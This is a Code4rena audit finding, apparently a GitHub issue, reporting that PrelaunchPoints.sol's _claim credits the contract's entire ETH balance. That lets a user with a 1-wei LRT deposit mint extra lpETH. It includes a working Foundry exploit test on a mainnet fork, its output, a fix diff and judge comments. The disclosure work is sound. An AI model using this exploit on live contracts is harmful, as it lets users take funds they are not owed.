code-423n4 / 2024-05-loop-findings

4 stars 4 forks source link

Users can claim as much lpETH as they want as long as they have LRT token deposited #53

Closed howlbot-integration[bot] closed 4 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266

Vulnerability details

Impact

Proof of Concept

Root Cause

    function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else { <===== audit
            uint256 userClaim = userStake * _percentage / 100; // <===== audit
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim; <===== audit

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data); <===== audit

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance; // <===== audit
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

    /**
     * Enable receive ETH
     * @dev ETH sent to this contract directly will be locked forever.
     */
    receive() external payable {} // <===== audit

Test

// ...
contract PrelaunchPointsTest is Test {
    // ...
    function testClaimLRT() public {
        address ezETH = 0xbf5495Efe5DB9ce00f80364C8B423567e58d2110;
        address bob = vm.addr(1);
        uint256 amount = 1 wei;

        deal(ezETH, bob, amount);
        vm.deal(bob, 1000 ether); // <==== This can be a flashloan

        prelaunchPoints.allowToken(ezETH);

        vm.startPrank(bob);
        ERC20Token(ezETH).approve(address(prelaunchPoints), amount);
        prelaunchPoints.lock(ezETH, amount, referral);
        vm.stopPrank();

        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(
            prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
        );
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        vm.startPrank(bob);
        address(prelaunchPoints).call{value: 10 ether}("");
        prelaunchPoints.claim(
            ezETH,
            0, // Percentage
            PrelaunchPoints.Exchange.UniswapV3,
            abi.encodeWithSelector(
                0x803ba26d, // PrelaunchPoints.UNI_SELECTOR
                abi.encodePacked(ezETH, uint24(100), WETH), // encodedPath
                0, // Amount in
                0, // Min Amount Out
                address(0) // Will be set to the PrelaunchPoints contract address by the 0x UniswapV3 feature
            )
        );

        address(prelaunchPoints).call{value: 20 ether}("");
        prelaunchPoints.claim(
            ezETH,
            1, // Percentage
            PrelaunchPoints.Exchange.UniswapV3,
            abi.encodeWithSelector(
                0x803ba26d, // PrelaunchPoints.UNI_SELECTOR
                abi.encodePacked(ezETH, uint24(100), WETH), // encodedPath
                prelaunchPoints.balances(bob, ezETH) / 100, // <==== Amount in = 1 / 100 = 0
                0, // Min Amount Out
                address(0) // Will be set to the PrelaunchPoints contract address by the 0x UniswapV3 feature
            )
        );

        assertNotEq(lpETH.balanceOf(bob), 30 ether);

        // Bob can sell lpETH for ETH here in case of an arbitrage
        vm.stopPrank();
    }
}

Once added, you can run the test using : forge test --match-test testClaimLRT --fork-url YOUR_RPC_URL -vv

Results

Ran 1 test for test/PrelaunchPoints.t.sol:PrelaunchPointsTest
[FAIL. Reason: assertion failed] testClaimLRT() (gas: 434432)
Logs:
  Error: a != b not satisfied [uint]
        Left: 30000000000000000000
       Right: 30000000000000000000

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.51s (2.95s CPU time)

Ran 1 test suite in 7.06s (5.51s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/PrelaunchPoints.t.sol:PrelaunchPointsTest
[FAIL. Reason: assertion failed] testClaimLRT() (gas: 434432)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Manual Review

Recommended Mitigation Steps

Only deposit the ETH received from the swap to the lpETH contract

index aa6b9f4..ddd2f1d 100644
--- a/src/PrelaunchPoints.sol
+++ b/src/PrelaunchPoints.sol
@@ -256,10 +256,9 @@ contract PrelaunchPoints {

             // At this point there should not be any ETH in the contract
             // Swap token to ETH
-            _fillQuote(IERC20(_token), userClaim, _data);
+            claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);

             // Convert swapped ETH to lpETH (1 to 1 conversion)
-            claimedAmount = address(this).balance;
             lpETH.deposit{value: claimedAmount}(_receiver);
         }
         emit Claimed(msg.sender, _token, claimedAmount);
@@ -488,7 +487,7 @@ contract PrelaunchPoints {
      * @param _swapCallData  The `data` field from the API response.
      */

-    function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal {
+    function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal returns (uint256) {
         // Track our balance of the buyToken to determine how much we've bought.
         uint256 boughtETHAmount = address(this).balance;

@@ -502,6 +501,7 @@ contract PrelaunchPoints {
         // Use our current buyToken balance to determine how much we've bought.
         boughtETHAmount = address(this).balance - boughtETHAmount;
         emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
+       return boughtETHAmount;
     }

     /*//////////////////////////////////////////////////////////////

Assessed type

Other

c4-judge commented 4 months ago

koolexcrypto marked the issue as duplicate of #6

c4-judge commented 3 months ago

koolexcrypto marked the issue as duplicate of #33

c4-judge commented 3 months ago

koolexcrypto marked the issue as satisfactory